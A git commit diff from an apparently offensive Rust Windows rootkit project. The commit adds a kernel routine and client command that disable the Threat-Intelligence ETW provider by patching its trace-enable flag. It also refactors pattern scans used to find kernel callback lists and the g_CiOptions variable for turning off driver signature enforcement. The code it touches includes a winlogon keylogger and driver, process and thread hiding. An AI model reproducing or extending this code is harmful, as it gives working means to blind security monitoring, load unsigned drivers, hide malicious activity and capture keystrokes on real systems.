feat: Refactor code to add ETWTI functionality and remove duplication, integrating scan_for_pattern for optimization

This commit is contained in:
joaoviictorti
2024-09-16 23:46:56 -03:00
parent 08d3bbf4e1
commit 890f288af4
23 changed files with 283 additions and 354 deletions

View File

@@ -266,6 +266,17 @@ pub enum MisCommands {
#[arg(long)]
start: bool,
},
/// Operations related to ETWTI.
Etwti {
/// Disable ETWTI.
#[arg(long)]
disable: bool,
/// Enable ETWTI.
#[arg(long)]
enable: bool,
}
}
/// Enum representing the subcommands for module operations.

View File

@@ -9,17 +9,17 @@ use {
env_logger::Builder,
};
use modules::{
misc::{dse, etwti, keylogger},
module::{enumerate_module, hide_module},
callback::{enumerate_callback, remove_callback, restore_callback},
driver::{enumerate_driver, unhide_hide_driver},
injection::{injection_apc, injection_thread},
misc::{dse, keylogger},
module::{enumerate_module, hide_module},
thread::{enumerate_thread, hide_unhide_thread},
process::{
elevate_process,
enumerate_process, hide_unhide_process,
signature_process, terminate_process
},
thread::{enumerate_thread, hide_unhide_thread}
};
#[cfg(not(feature = "mapper"))]
@@ -163,6 +163,15 @@ fn main() {
keylogger(IOCTL_KEYLOGGER, false);
}
},
MisCommands::Etwti { disable, enable } => {
if *enable {
info!("Enable ETWTI");
etwti(IOCTL_ETWTI, true);
} else if *disable {
info!("Disable ETWTI");
etwti(IOCTL_ETWTI, false);
}
},
},
#[cfg(not(feature = "mapper"))]

View File

@@ -1,7 +1,7 @@
use {
log::*,
crate::utils::open_driver,
shared::structs::{Keylogger, DSE},
shared::structs::{Keylogger, DSE, ETWTI},
std::{ffi::c_void, mem::size_of, ptr::null_mut},
windows_sys::Win32::{
Foundation::{CloseHandle, GetLastError},
@@ -47,9 +47,13 @@ pub fn dse(ioctl_code: u32, enable: bool) {
pub fn keylogger(ioctl_code: u32, state: bool) {
let h_file = open_driver().expect("Failed open driver");
let mut return_buffer = 0;
debug!("Preparing Keylogger structure for {}", if state { "start" } else { "stop" });
let mut keylogger = Keylogger {
enable: state
};
debug!("Sending DeviceIoControl command to {} Keylogger", if state { "start" } else { "stop" });
let status = unsafe {
DeviceIoControl(
h_file,
@@ -74,3 +78,38 @@ pub fn keylogger(ioctl_code: u32, state: bool) {
CloseHandle(h_file);
};
}
pub fn etwti(ioctl_code: u32, enable: bool) {
let h_file = open_driver().expect("Failed open driver");
let mut return_buffer = 0;
debug!("Preparing ETWTI structure for {}", if enable { "enabling" } else { "disabling" });
let mut etwti = ETWTI {
enable
};
debug!("Sending DeviceIoControl command to {} ETWTI", if enable { "enable" } else { "disable" });
let status = unsafe {
DeviceIoControl(
h_file,
ioctl_code,
&mut etwti as *mut _ as *mut c_void,
std::mem::size_of::<ETWTI>() as u32,
null_mut(),
0,
&mut return_buffer,
null_mut()
)
};
if status == 0 {
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
} else {
info!("ETWTI {}", if enable { "enable" } else { "disable" })
}
debug!("Closing the driver handle");
unsafe {
CloseHandle(h_file);
};
}

1
driver/.gitignore vendored
View File

@@ -1,4 +1,3 @@
/target
/src/backup
/src/misc/memory.rs
/src/misc/etw.rs

View File

@@ -34,4 +34,7 @@ panic = "abort"
[features]
mapper = []
[package.metadata.wdk]
[package.metadata.wdk.driver-model]
driver-type = "KMDF"
kmdf-version-major = 1
target-kmdf-version-minor = 33

View File

@@ -1,8 +1,7 @@
use shared::vars::Callbacks;
use crate::{includes::structs::FULL_OBJECT_TYPE, utils};
use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType};
use obfstr::obfstr;
use core::ptr::null_mut;
use shared::vars::Callbacks;
use crate::{includes::structs::FULL_OBJECT_TYPE, utils::{self, patterns::scan_for_pattern}};
use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType};
/// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine.
///
@@ -13,47 +12,12 @@ unsafe fn find_ps_create_process() -> Option<*mut u8> {
let mut name = utils::uni::str_to_unicode(obfstr!("PsSetCreateProcessNotifyRoutine")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name);
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x14);
// e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8)
let instructions = [0xE8];
let psp_set_create_process = scan_for_pattern(function_address, &instructions, 1, 5, 0x14, i32::from_le_bytes)?;
if let Some(y) = function_bytes.windows(instructions.len()).position(|x| x == instructions) {
let position = y + 1;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8)
let call_address = function_address.cast::<u8>().offset(y as isize);
// 4883c428 add rsp,28h
let next_address = call_address.cast::<u8>().offset(5);
let psp_set_create_process = next_address.offset(offset as isize);
let function_bytes = core::slice::from_raw_parts(psp_set_create_process, 0x98);
// 4c8d2d4f605500 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`51cfc560)]
let instructions = [0x4C, 0x8D, 0x2D];
if let Some(x) = function_bytes.windows(instructions.len()).position(|y| y == instructions) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// 4c8d2d4f605500 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`51cfc560)]
let lea_address = psp_set_create_process.cast::<u8>().offset(x as isize);
// 488d0cdd00000000 lea rcx,[rbx*8]
let next_address = lea_address.offset(7);
let psp_set_create_process = next_address.offset(offset as isize);
return Some(psp_set_create_process)
}
}
None
scan_for_pattern(psp_set_create_process as _, &instructions, 3, 7, 0x98, i32::from_le_bytes)
}
/// Finds the address of the `PsRemoveCreateThreadNotifyRoutine` routine.
@@ -65,28 +29,9 @@ unsafe fn find_ps_create_thread() -> Option<*mut u8> {
let mut name = utils::uni::str_to_unicode(obfstr!("PsRemoveCreateThreadNotifyRoutine")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name);
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50);
// 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)]
let instructions = [0x48, 0x8D, 0x0D];
if let Some(x) = function_bytes.windows(instructions.len()).position(|x| x == instructions) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)]
let lea_address = function_address.cast::<u8>().offset(x as isize);
// 488d2cf9 lea rbp,[rcx+rdi*8]
let next_address = lea_address.offset(7);
let psp_set_create_thread = next_address.offset(offset as isize);
return Some(psp_set_create_thread);
}
None
scan_for_pattern(function_address, &instructions, 3, 7, 0x50, i32::from_le_bytes)
}
/// Finds the address of the `PsSetLoadImageNotifyRoutineEx` routine.
@@ -98,28 +43,9 @@ unsafe fn find_ps_load_image() -> Option<*mut u8> {
let mut name = utils::uni::str_to_unicode(obfstr!("PsSetLoadImageNotifyRoutineEx")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name);
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50);
// 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)]
let instructions = [0x48, 0x8D, 0x0D];
if let Some(x) = function_bytes.windows(instructions.len()).position(|x| x == instructions) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)]
let lea_address = function_address.cast::<u8>().offset(x as isize);
// 488d2cf9 lea rbp,[rcx+rdi*8]
let next_address = lea_address.offset(7);
let psp_load_image = next_address.offset(offset as isize);
return Some(psp_load_image);
}
None
scan_for_pattern(function_address, &instructions, 3, 7, 0x50, i32::from_le_bytes)
}
/// Finds the address of the `CmRegisterCallbackEx` routine.
@@ -130,99 +56,29 @@ unsafe fn find_ps_load_image() -> Option<*mut u8> {
unsafe fn find_cm_register_callback() -> Option<(*mut u8, *mut u8, *mut u8)>{
let mut name = utils::uni::str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name);
let mut callback_list_header = null_mut();
let mut callback_count = null_mut();
let mut callback_list_lock = null_mut();
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50);
// e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff800`286e2b08)
let register_internal_pattern = [0xE8];
if let Some(x) = function_bytes.windows(register_internal_pattern.len()).position(|y| y == register_internal_pattern) {
let position = x + 1;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff803`210e2b08)
let call_address = function_address.cast::<u8>().offset(x as isize);
// 4883c438 add rsp,38h
let next_address = call_address.offset(5);
let register_callback_internal = next_address.offset(offset as isize);
let function_bytes = core::slice::from_raw_parts(register_callback_internal, 0x108);
let register_callback_internal = scan_for_pattern(function_address, &register_internal_pattern, 1, 5, 0x50, i32::from_le_bytes)?;
// 488bcb mov rcx,rbx
// e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c)
let insert_pattern = [0x8B, 0xCB, 0xE8];
if let Some(x) = function_bytes.windows(insert_pattern.len()).position(|y| y == insert_pattern) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
// e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c)
let call_insert_address = register_callback_internal.cast::<u8>().offset((x + 2) as isize);
// 488b4c2458 mov rcx,qword ptr [rsp+58h]
let next_address = call_insert_address.offset(5);
let insert_call_address = next_address.offset(offset as isize);
let function_bytes = core::slice::from_raw_parts(insert_call_address, 0x200);
let insert_pattern: [u8; 3] = [0x8B, 0xCB, 0xE8];
let insert_call_address = scan_for_pattern(register_callback_internal as _, &insert_pattern, 3, 7, 0x108, i32::from_le_bytes)?;
// 488d0d7b585600 lea rcx,[nt!CmpCallbackListLock (fffff803`216484c0)]
let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D];
let callback_list_lock = scan_for_pattern(insert_call_address as _, &cmp_callback_list_lock_pattern, 3, 7, 0x200, i32::from_le_bytes)?;
// 4c8d3d78585600 lea r15,[nt!CallbackListHead (fffff803`216484d0)]
let callback_list_head_pattern = [0x4C, 0x8D, 0x3D];
let callback_list_header = scan_for_pattern(insert_call_address as _, &callback_list_head_pattern, 3, 7, 0x200, i32::from_le_bytes)?;
// f0ff05fddd5600 lock inc dword ptr [nt!CmpCallBackCount (fffff803`21650abc)]
let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05];
let callback_count = scan_for_pattern(insert_call_address as _, &cmp_callback_count_pattern, 3, 7, 0x200, i32::from_le_bytes)?;
if let Some(x) = function_bytes.windows(cmp_callback_list_lock_pattern.len()).position(|y| y == cmp_callback_list_lock_pattern) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
let lea_address = insert_call_address.cast::<u8>().offset(x as isize);
let next_address = lea_address.offset(7);
callback_list_lock = next_address.offset(offset as isize);
};
if let Some(x) = function_bytes.windows(callback_list_head_pattern.len()).position(|y| y == callback_list_head_pattern) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
let lea_address = insert_call_address.cast::<u8>().offset(x as isize);
let next_address = lea_address.offset(7);
callback_list_header = next_address.offset(offset as isize);
};
if let Some(x) = function_bytes.windows(cmp_callback_count_pattern.len()).position(|y| y == cmp_callback_count_pattern) {
let position = x + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(i32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
let lea_address = insert_call_address.cast::<u8>().offset(x as isize);
let next_address = lea_address.offset(7);
callback_count = next_address.offset(offset as isize);
};
}
if !callback_list_header.is_null() && !callback_count.is_null() && !callback_list_lock.is_null() {
return Some((callback_list_header, callback_count, callback_list_lock));
}
}
None
Some((callback_list_header, callback_count, callback_list_lock))
}
/// Finds the address of the `ObRegisterCallbacks` routine.
@@ -240,7 +96,7 @@ pub fn find_ob_register_callback(callback: &Callbacks) -> Option<*mut FULL_OBJEC
let object_type = unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE };
Some(object_type)
},
_ => return None
_ => None
}
}

View File

@@ -1,21 +1,12 @@
use {
obfstr::obfstr,
spin::{mutex::Mutex, lazy::Lazy},
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
core::sync::atomic::{AtomicPtr, Ordering},
alloc::{string::String, vec::Vec, boxed::Box},
crate::utils::{address::{get_function_address, get_module_base_address}, uni},
shared::{
crate::utils::{address::{get_function_address, get_module_base_address}, patterns::scan_for_pattern, uni}, alloc::{boxed::Box, string::String, vec::Vec}, core::sync::atomic::{AtomicPtr, Ordering}, ntapi::ntldr::LDR_DATA_TABLE_ENTRY, obfstr::obfstr, shared::{
structs::{
DriverInfo, DSE, HiddenDriverInfo, LIST_ENTRY,
TargetDriver
DriverInfo, HiddenDriverInfo, TargetDriver, DSE, LIST_ENTRY
},
vars::MAX_DRIVER
},
wdk_sys::{
ntddk::MmGetSystemRoutineAddress, STATUS_INVALID_PARAMETER,
NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL,
},
}, spin::{lazy::Lazy, mutex::Mutex}, wdk_sys::{
ntddk::MmGetSystemRoutineAddress, NTSTATUS, STATUS_INVALID_PARAMETER, STATUS_SUCCESS, STATUS_UNSUCCESSFUL
}
};
pub mod ioctls;
@@ -36,13 +27,11 @@ impl Driver {
///
pub unsafe fn driver_toggle(driver: *mut TargetDriver) -> NTSTATUS {
let name = &(*driver).name;
let status = if (*driver).enable {
if (*driver).enable {
Self::hide_driver(name)
} else {
Self::unhide_driver(name)
};
status
}
}
/// Hides the driver by unlinking it from the loaded module list.
@@ -110,10 +99,10 @@ impl Driver {
/// # Return
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
///
unsafe fn unhide_driver(driver_name: &String) -> NTSTATUS {
unsafe fn unhide_driver(driver_name: &str) -> NTSTATUS {
let mut driver_info = DRIVER_INFO_HIDE.lock();
if let Some(index) = driver_info.iter().position(|p| p.name == driver_name.as_str()) {
if let Some(index) = driver_info.iter().position(|p| p.name == driver_name) {
let driver = &driver_info[index];
let list_entry = driver.list_entry.load(Ordering::SeqCst);
if list_entry.is_null() {
@@ -198,43 +187,19 @@ impl Driver {
pub unsafe fn set_dse_state(info_dse: *mut DSE) -> Result<(), NTSTATUS> {
let module_address = get_module_base_address(obfstr!("CI.dll")).ok_or(STATUS_UNSUCCESSFUL)?;
let function_address = get_function_address(obfstr!("CiInitialize"), module_address).ok_or(STATUS_UNSUCCESSFUL)?;
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x89);
// mov ecx,ebp
let instructions = [0x8B, 0xCD];
if let Some(y) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) {
let position = y + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(u32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
let c_ip_initialize = new_base.cast::<u8>().offset(offset as isize);
let c_ip_initialize = scan_for_pattern(function_address, &instructions, 3, 7, 0x89, i32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?;
// mov rbp,r9
let instructions = [0x49, 0x8b, 0xE9];
let c_ip_initialize_slice = core::slice::from_raw_parts(c_ip_initialize as *const u8, 0x21);
if let Some(i) = c_ip_initialize_slice.windows(instructions.len()).position(|windows| *windows == instructions) {
let position = i + 5;
let offset = c_ip_initialize_slice[position..position + 4]
.try_into()
.map(u32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
let new_offset = 0xffffffff00000000 + offset as u64;
let new_base = c_ip_initialize.cast::<u8>().offset((position + 4) as isize);
let g_ci_options = new_base.cast::<u8>().offset(new_offset as isize);
let g_ci_options = scan_for_pattern(c_ip_initialize as _, &instructions, 5, 9, 0x21, i32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?;
if (*info_dse).enable {
*(g_ci_options as *mut u64) = 0x0006 as u64;
*(g_ci_options as *mut u64) = 0x0006_u64;
} else {
*(g_ci_options as *mut u64) = 0x000E as u64;
}
}
*(g_ci_options as *mut u64) = 0x000E_u64;
}
Ok(())

View File

@@ -227,7 +227,7 @@ pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
}
let mut interval = LARGE_INTEGER {
QuadPart: -1 * (50 * 10000 as i64),
QuadPart: -1 * -(50 * 10000_i64),
};
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
@@ -292,7 +292,7 @@ pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS
}
// Creating callbacks related to registry operations
let mut altitude = uni::str_to_unicode("31122.6172").to_unicode();
let mut altitude = uni::str_to_unicode("31422.6172").to_unicode();
status = CmRegisterCallbackEx(
Some(registry_callback),
&mut altitude,

53
driver/src/misc/etwti.rs Normal file
View File

@@ -0,0 +1,53 @@
use {
obfstr::obfstr,
shared::structs::ETWTI,
crate::utils::{patterns::scan_for_pattern, uni},
wdk_sys::{
ntddk::MmGetSystemRoutineAddress,
NTSTATUS, STATUS_UNSUCCESSFUL
}
};
/// Represents ETW in the operating system.
pub struct Etw;
impl Etw {
/// Enables or disables ETW tracing by manipulating the `ETWTI` structure.
///
/// # Parameters
/// - `info`: A pointer to an `ETWTI` structure, which contains information on whether to enable or disable ETW tracing.
///
/// # Return
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
///
pub unsafe fn etwti_enable_disable(info: *mut ETWTI) -> Result<(), NTSTATUS> {
let mut function_name = uni::str_to_unicode(obfstr!("KeInsertQueueApc")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut function_name);
let pattern = [
0x33, 0xD2, // 33d2 xor edx,edx
0x48, 0x8B, 0x0D // 488b0dcd849300 mov rcx,qword ptr [nt!EtwThreatIntProvRegHandle (fffff807`41c19918)]
];
let etwi_handle = scan_for_pattern(function_address, &pattern, 5, 9, 0x1000, u32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?;
let trace_info = etwi_handle.offset(0x20).offset(0x60) as *mut TRACE_ENABLE_INFO;
(*trace_info).is_enabled = if (*info).enable {
0x01
} else {
0x00
};
Ok(())
}
}
#[repr(C)]
pub struct TRACE_ENABLE_INFO {
is_enabled: u32,
level: u8,
reserved1: u8,
loggerid: u16,
enable_property: u32,
reserved2: u32,
match_any_keyword: u64,
match_all_keyword: u64
}

View File

@@ -1,11 +1,11 @@
use {
super::keylogger::set_keylogger_state,
crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler},
alloc::boxed::Box,
hashbrown::HashMap,
shared::{ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER},
structs::{Keylogger, DSE}},
shared::structs::{Keylogger, DSE, ETWTI},
super::keylogger::set_keylogger_state,
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
shared::ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER, IOCTL_ETWTI},
crate::{driver::Driver, handle_driver, misc::etwti::Etw, utils::ioctls::IoctlHandler},
};
pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
@@ -13,9 +13,7 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
// Responsible for enabling/disabling DSE.
ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENABLE_DSE");
let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) };
unsafe { (*irp).IoStatus.Information = 0 };
match status {
@@ -29,6 +27,19 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
log::info!("Received IOCTL_KEYLOGGER");
let status = unsafe { handle_driver!(stack, set_keylogger_state, Keylogger) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
// Responsible for enabling/disabling ETWTI.
ioctls.insert(IOCTL_ETWTI, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ETWTI");
let status = unsafe { handle_driver!(stack, Etw::etwti_enable_disable, ETWTI) };
unsafe { (*irp).IoStatus.Information = 0 };
match status {
Ok(_) => STATUS_SUCCESS,
Err(err_code) => err_code
}
}) as IoctlHandler);
}

View File

@@ -1,23 +1,23 @@
use {
crate::{
get_ks_byte, get_ks_down_bit,
is_key_down, set_key_down,
includes::MmCopyVirtualMemory, process::Process,
utils::{
address::{get_address_asynckey, get_module_base_address},
get_process_by_name, process_attach::ProcessAttach
}
},
core::{ffi::c_void, mem::size_of},
keys::VK_CHARS,
obfstr::obfstr,
shared::structs::Keylogger,
core::{ffi::c_void, mem::size_of},
crate::{
get_ks_byte, get_ks_down_bit, includes::MmCopyVirtualMemory,
is_key_down, process::Process, set_key_down,
utils::{
address::{get_address_asynckey, get_module_base_address},
get_process_by_name, patterns::scan_for_pattern,
process_attach::ProcessAttach
}
},
wdk_sys::{
ntddk::{
IoGetCurrentProcess, KeDelayExecutionThread,
PsTerminateSystemThread,
},
LARGE_INTEGER, NTSTATUS, PVOID, STATUS_SUCCESS, _MODE::KernelMode,
LARGE_INTEGER, NTSTATUS, STATUS_SUCCESS, _MODE::KernelMode,
}
};
@@ -63,7 +63,7 @@ fn vk_to_char(key: u8) -> &'static str {
/// # Parameters
/// - `address`: Array address `gafAsyncKeyState`.
///
unsafe fn update_key_state(address: *mut c_void) {
unsafe fn update_key_state(address: *mut u8) {
core::ptr::copy_nonoverlapping(KEY_STATE.as_ptr(), KEY_PREVIOUS.as_mut_ptr(), 64);
if !initialize_winlogon_process() {
@@ -74,7 +74,7 @@ unsafe fn update_key_state(address: *mut c_void) {
let mut return_number = 0;
MmCopyVirtualMemory(
winlogon_eprocess.e_process,
address,
address as _,
IoGetCurrentProcess(),
KEY_STATE.as_ptr() as *mut c_void,
size_of::<[u8; 64]>() as u64,
@@ -151,7 +151,7 @@ pub unsafe extern "C" fn keylogger(_address: *mut c_void) {
}
let mut interval = LARGE_INTEGER {
QuadPart: -1 * (50 * 10000 as i64),
QuadPart: -1 * -(50 * 10000_i64),
};
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
@@ -166,9 +166,9 @@ pub unsafe extern "C" fn keylogger(_address: *mut c_void) {
/// # Returns
/// `Option<PVOID>`: The address of the `gafAsyncKeyState` array if found, otherwise `None`.
///
unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
unsafe fn get_gafasynckeystate_address() -> Option<*mut u8> {
if !initialize_winlogon_process() {
return None;
return None
}
let winlogon_eprocess = WINLOGON_EPROCESS.as_ref()?;
@@ -183,20 +183,7 @@ unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
// fffff4e1`18e41bb5 48 89 81 80 00 00 00 mov qword ptr [rcx+80h],rax
let instructions = [0x48, 0x8B, 0x05];
if let Some(y) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) {
let position = y + 3;
let offset = function_bytes[position..position + 4]
.try_into()
.map(u32::from_le_bytes)
.expect("Slice length is not 4, cannot convert");
let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
let gaf_async_key_state = new_base.cast::<u8>().offset(offset as isize);
return Some(gaf_async_key_state as PVOID);
}
None
scan_for_pattern(function_address, &instructions, 3, 7, 0x200, u32::from_le_bytes)
}
/// Sets the keylogger status.

View File

@@ -1,4 +1,3 @@
// pub mod etw;
pub mod etwti;
pub mod keylogger;
pub mod ioctls;
// pub mod memory;

View File

@@ -158,7 +158,7 @@ impl Module {
return Err(STATUS_UNSUCCESSFUL);
}
let dll_name = alloc::string::String::from_utf16_lossy(&buffer);
let dll_name = alloc::string::String::from_utf16_lossy(buffer);
if module_name.contains(&dll_name.to_lowercase()) {
// Removes the module from the load order list
Self::remove_link(&mut (*list_entry).InLoadOrderLinks);

View File

@@ -32,13 +32,11 @@ static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_
///
pub fn add_remove_process_toggle(process: *mut ProcessProtection) -> NTSTATUS {
let pid = unsafe { (*process).pid };
let status = if unsafe { (*process).enable } {
if unsafe { (*process).enable } {
add_target_pid(pid)
} else {
remove_target_pid(pid)
};
status
}
}
/// Method for adding the list of processes that will have anti-kill / dumping protection.

View File

@@ -177,7 +177,7 @@ impl Process {
/// Toggles the enumeration between hiding or protecting processes based on the options provided.
///
/// # Arguments
/// # Parameters
/// - `input_target`: Pointer to the enumeration information input structure.
/// - `info_process`: Information structure of processes.
/// - `information`: Pointer to a variable to store information size.
@@ -186,23 +186,19 @@ impl Process {
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
///
pub unsafe fn enumerate_process_toggle(input_target: *mut EnumerateInfoInput, info_process: *mut ProcessListInfo, information: &mut usize) -> NTSTATUS {
let status;
match (*input_target).options {
Options::Hide => {
status = Self::enumerate_hide_processes(info_process, information);
Self::enumerate_hide_processes(info_process, information)
},
#[cfg(not(feature = "mapper"))]
Options::Protection => {
status = callback::enumerate_protection_processes(info_process, information);
callback::enumerate_protection_processes(info_process, information)
},
#[cfg(feature = "mapper")]
Options::Protection => {
status = wdk_sys::STATUS_INVALID_DEVICE_REQUEST;
wdk_sys::STATUS_INVALID_DEVICE_REQUEST;
},
}
status
}
/// Enumerate Processes Hide.

View File

@@ -234,10 +234,6 @@ pub unsafe fn enumerate_value_key(
/// Trait for accessing the object in registry information.
pub trait RegistryInfo {
///
///
///
///
fn get_object(&self) -> *mut c_void;
}

View File

@@ -28,13 +28,11 @@ static TARGET_TIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
pub fn add_remove_thread_toggle(process: *mut ThreadProtection) -> NTSTATUS {
let tid = unsafe { (*process).tid };
let status = if unsafe { (*process).enable } {
if unsafe { (*process).enable } {
add_target_tid(tid)
} else {
remove_target_tid(tid)
};
status
}
}
/// Method for adding the list of threads that will have anti-kill / dumping protection.

View File

@@ -64,13 +64,11 @@ impl Thread {
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
///
pub unsafe fn thread_toggle(thread: *mut TargetThread) -> NTSTATUS {
let status = if (*thread).enable {
if (*thread).enable {
Self::hide_thread(thread)
} else {
Self::unhide_thread(thread)
};
status
}
}
/// Hides a thread by removing it from the list of active threads.
@@ -220,23 +218,19 @@ impl Thread {
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
///
pub unsafe fn enumerate_thread_toggle(input_target: *mut EnumerateInfoInput, info_process: *mut ThreadListInfo, information: &mut usize) -> NTSTATUS {
let status;
match (*input_target).options {
Options::Hide => {
status = Self::enumerate_hide_threads(info_process, information);
Self::enumerate_hide_threads(info_process, information)
},
#[cfg(not(feature = "mapper"))]
Options::Protection => {
status = enumerate_protection_threads(info_process, information);
enumerate_protection_threads(info_process, information)
},
#[cfg(feature = "mapper")]
Options::Protection => {
status = wdk_sys::STATUS_INVALID_DEVICE_REQUEST;
},
}
status
}
}

View File

@@ -1,15 +1,11 @@
use {
obfstr::obfstr,
ntapi::ntzwapi::ZwQuerySystemInformation,
super::{get_process_by_name, pool::PoolMemory, process_attach::ProcessAttach},
wdk_sys::{NT_SUCCESS, POOL_FLAG_NON_PAGED},
crate::{process::Process, utils::SystemModuleInformation},
core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts},
wdk_sys::{
NT_SUCCESS, POOL_FLAG_NON_PAGED,
},
winapi::um::winnt::{
RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64
}
super::{get_process_by_name, pool::PoolMemory, process_attach::ProcessAttach},
winapi::um::winnt::{RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64}
};
/// Gets the base address of a specified module.
@@ -99,16 +95,8 @@ pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
///
pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
let pid = match get_process_by_name(obfstr!("winlogon.exe")) {
Some(p) => p,
None => return None
};
let target = match Process::new(pid) {
Some(p) => p,
None => return None
};
let pid = get_process_by_name(obfstr!("winlogon.exe"))?;
let target = Process::new(pid)?;
let attach_process = ProcessAttach::new(target.e_process);
let dll_base = dll_base as usize;

View File

@@ -1,5 +1,6 @@
use {
obfstr::obfstr,
handles::Handle,
pool::PoolMemory,
process_attach::ProcessAttach,
crate::{includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process},
@@ -10,7 +11,6 @@ use {
ptr::{null_mut, read_unaligned},
slice::from_raw_parts
},
handles::Handle,
ntapi::{
ntexapi::{
SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION
@@ -177,7 +177,7 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str)
return None;
}
